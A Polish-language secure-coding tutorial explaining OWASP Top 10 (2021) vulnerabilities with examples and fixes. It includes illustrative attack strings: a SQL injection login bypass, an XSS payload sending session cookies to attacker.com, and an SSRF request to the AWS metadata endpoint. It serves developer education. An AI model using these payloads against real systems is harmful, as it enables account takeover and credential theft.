LIVE: New phishing campaigns targeting mobile users —View latest threats →

Back to Tutorials
Średniozaawansowany 15 min czytania

Bezpieczne programowanie od podstaw: podatności OWASP Top 10

SQL injection, XSS i błędy uwierzytelniania powracają w wyciekach rok po roku. Dowiedz się, jak te podatności powstają w kodzie i jakie konkretne poprawki je eliminują.

20 listopada 2026

Dlaczego wciąż pojawiają się te same podatności

OWASP Top 10 to prowadzona przez Open Web Application Security Project lista najpoważniejszych zagrożeń bezpieczeństwa aplikacji webowych. Publikowana jest od 2003 roku. Wiele tych samych podatności pojawia się dekada po dekadzie — nie dlatego, że programiści o nich nie wiedzą, ale dlatego, że łatwo je wprowadzić pod presją czasu, a zapobieganie wymaga świadomego wysiłku.

Ten poradnik omawia najważniejsze w praktyce pozycje z edycji OWASP Top 10 z 2021 roku.

A01: Broken Access Control (błędy kontroli dostępu)

Kontrola dostępu pilnuje, by użytkownicy mogli robić tylko to, na co mają pozwolenie. Błędy kontroli dostępu to najczęstsza podatność w prawdziwych aplikacjach.

Przykłady:

  • Użytkownik zmienia w adresie ?user_id=123 na ?user_id=124 i widzi cudze zamówienie
  • Endpoint API zwracający wszystkie rekordy nie sprawdza, czy pytający jest ich właścicielem
  • Zwykły użytkownik wchodzi na /admin/delete-user, bo trasa nie jest chroniona

Zapobieganie:

  • Egzekwuj kontrolę dostępu po stronie serwera, nigdy klienta
  • Domyślnie odmawiaj: jeśli nie ma jawnego uprawnienia, odrzuć żądanie
  • Stosuj kontrolę dostępu opartą na rolach (RBAC) lub atrybutach (ABAC)
  • Loguj błędy kontroli dostępu i alarmuj przy powtarzających się próbach

A02: Cryptographic Failures (błędy kryptograficzne)

Ta kategoria, wcześniej nazywana „ujawnieniem wrażliwych danych”, obejmuje słabe lub brakujące szyfrowanie wrażliwych danych.

Przykłady:

  • Hasła przechowywane otwartym tekstem lub jako skróty MD5/SHA-1 (nieprzeznaczone do przechowywania haseł)
  • Wrażliwe dane przesyłane przez HTTP zamiast HTTPS
  • Klucze szyfrujące wpisane na stałe w kod lub zacommitowane do repozytorium

Zapobieganie:

  • Do haszowania haseł używaj bcrypt, scrypt lub Argon2 — nigdy samego MD5, SHA-1 czy SHA-256
  • Wymuszaj HTTPS wszędzie; stosuj HSTS
  • Rotuj sekrety i przechowuj je w menedżerze sekretów (AWS Secrets Manager, HashiCorp Vault — a nie w plikach .env w repozytorium)
  • Nigdy nie loguj wrażliwych danych (haseł, tokenów, numerów kart)

A03: Injection (wstrzykiwanie)

Ataki typu injection mają miejsce, gdy niezaufane dane trafiają do interpretera jako część polecenia lub zapytania. Najsłynniejszym przykładem jest SQL injection, ale ta rodzina obejmuje też wstrzykiwanie poleceń systemowych, LDAP i inne.

Przykład SQL injection:

-- User input: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''
-- Returns all users

Dane wpisane przez użytkownika (' OR '1'='1) zmieniają logikę zapytania, które zwraca wszystkich użytkowników.

Zapobieganie:

  • Używaj zapytań parametryzowanych (prepared statements) — nigdy nie sklejaj danych od użytkownika z kodem SQL
  • Używaj ORM, który automatycznie obsługuje parametryzację
  • Waliduj i oczyszczaj wszystkie dane wejściowe
  • Stosuj zasadę najmniejszych uprawnień dla kont bazodanowych — aplikacja webowa nie powinna łączyć się jako root

A04: Insecure Design (niebezpieczny projekt)

Ta kategoria dotyczy fundamentalnych wad projektowych, a nie błędów implementacji. System może być perfekcyjnie zakodowany, a mimo to niebezpieczny z założenia.

Przykłady:

  • Proces resetu hasła, który zdradza, czy e-mail jest zarejestrowany (umożliwiając wyliczanie kont)
  • API zwracające cały obiekt użytkownika, gdy potrzebne jest tylko jego imię
  • System bez ograniczenia liczby prób uwierzytelnienia

Zapobieganie:

  • Przeprowadzaj modelowanie zagrożeń na etapie projektowania, a nie po fakcie
  • Stosuj zasadę najmniejszych uprawnień na poziomie architektury
  • Uwzględniaj wymagania bezpieczeństwa obok wymagań funkcjonalnych

A07: Identification and Authentication Failures (błędy identyfikacji i uwierzytelniania)

Słabe uwierzytelnianie i zarządzanie sesjami pozwalają atakującym podszywać się pod użytkowników.

Przykłady:

  • Akceptowanie słabych haseł („password123” przechodzi)
  • Brak unieważniania tokenów sesji po wylogowaniu
  • Przechowywanie identyfikatorów sesji w adresach URL, które trafiają do logów serwera
  • Brak blokady konta lub limitu prób logowania

Zapobieganie:

  • Wymuszaj MFA dla wszystkich kont, zwłaszcza administratorów
  • Używaj sprawdzonych bibliotek uwierzytelniania zamiast pisać własne
  • Generuj długie, losowe tokeny sesji; unieważniaj je po wylogowaniu i po upływie limitu czasu
  • Wprowadź limity żądań i CAPTCHA na endpointach logowania i rejestracji

A05: Security Misconfiguration (błędna konfiguracja zabezpieczeń)

Błędna konfiguracja to najczęstsze znalezisko w ocenach bezpieczeństwa. Wynika z niekompletnych konfiguracji, otwartych zasobników w chmurze, włączonych zbędnych funkcji, domyślnych haseł i zbyt szczegółowych komunikatów błędów.

Zapobieganie:

  • Wzmacniaj konfiguracje według punktu odniesienia (CIS Benchmarks)
  • Usuwaj domyślne konta i zmieniaj domyślne hasła
  • Na produkcji wyłączaj listowanie katalogów, zbędne metody HTTP i endpointy debugowania
  • Stosuj infrastrukturę jako kod, by konfiguracja była spójna i audytowalna

Pokrewna A03: Cross-Site Scripting (XSS)

XSS ma miejsce, gdy atakujący wstrzykuje złośliwe skrypty do stron oglądanych przez innych użytkowników.

Przykład: Pole komentarza zapisuje <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. Każdy użytkownik oglądający stronę uruchamia skrypt, wysyłając swoje ciasteczko sesji atakującemu.

Rodzaje:

  • Stored XSS — złośliwy skrypt zapisany w bazie danych
  • Reflected XSS — skrypt zawarty w adresie URL i odbity w odpowiedzi
  • DOM-based XSS — skrypt wykonywany przez JavaScript po stronie klienta

Zapobieganie:

  • Koduj wszystkie dane wyjściowe — koduj dane użytkownika jako HTML przed wstawieniem ich w kontekst HTML
  • Używaj nagłówka Content Security Policy (CSP), by ograniczyć, które skrypty mogą się wykonywać
  • Korzystaj z nowoczesnych frameworków (React, Vue, Angular), które domyślnie kodują dane wyjściowe
  • Nigdy nie używaj innerHTML z niezaufanymi danymi; wybieraj textContent

A10: Server-Side Request Forgery (SSRF)

Podatności SSRF pozwalają atakującym zmusić serwer do wysyłania żądań w niezamierzone miejsca — w tym do usług wewnętrznych niedostępnych z internetu.

Przykład: Funkcja podglądu linków, która pobiera http://169.254.169.254/latest/meta-data/ w AWS, zwraca poświadczenia instancji chmurowej.

Zapobieganie:

  • Waliduj adresy URL pobierane przez serwer i stosuj listę dozwolonych
  • Blokuj żądania do prywatnych zakresów IP (10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x)
  • Wyłączaj przekierowania HTTP przy pobieraniu zasobów

Budowanie bezpiecznego cyklu wytwarzania oprogramowania

Naprawa podatności po wdrożeniu jest 10–100 razy droższa niż zapobieganie im w trakcie tworzenia. Włącz bezpieczeństwo w proces wytwarzania:

  1. Modeluj zagrożenia dla nowych funkcji, zanim napiszesz kod
  2. Używaj linterów i narzędzi SAST (Semgrep, CodeQL, Bandit), by automatycznie wyłapywać problemy
  3. Przeprowadzaj przeglądy kodu z myślą o bezpieczeństwie
  4. Uruchamiaj narzędzia DAST (OWASP ZAP) na środowiskach testowych
  5. Śledź zależności i aktualizuj je — wiele wycieków wykorzystuje znane podatności w bibliotekach

Bezpieczeństwo to nie funkcja dodawana na końcu. To cecha jakości wbudowana w każdą decyzję — od projektu po wdrożenie.

#secure coding#OWASP#web security#vulnerabilities#developers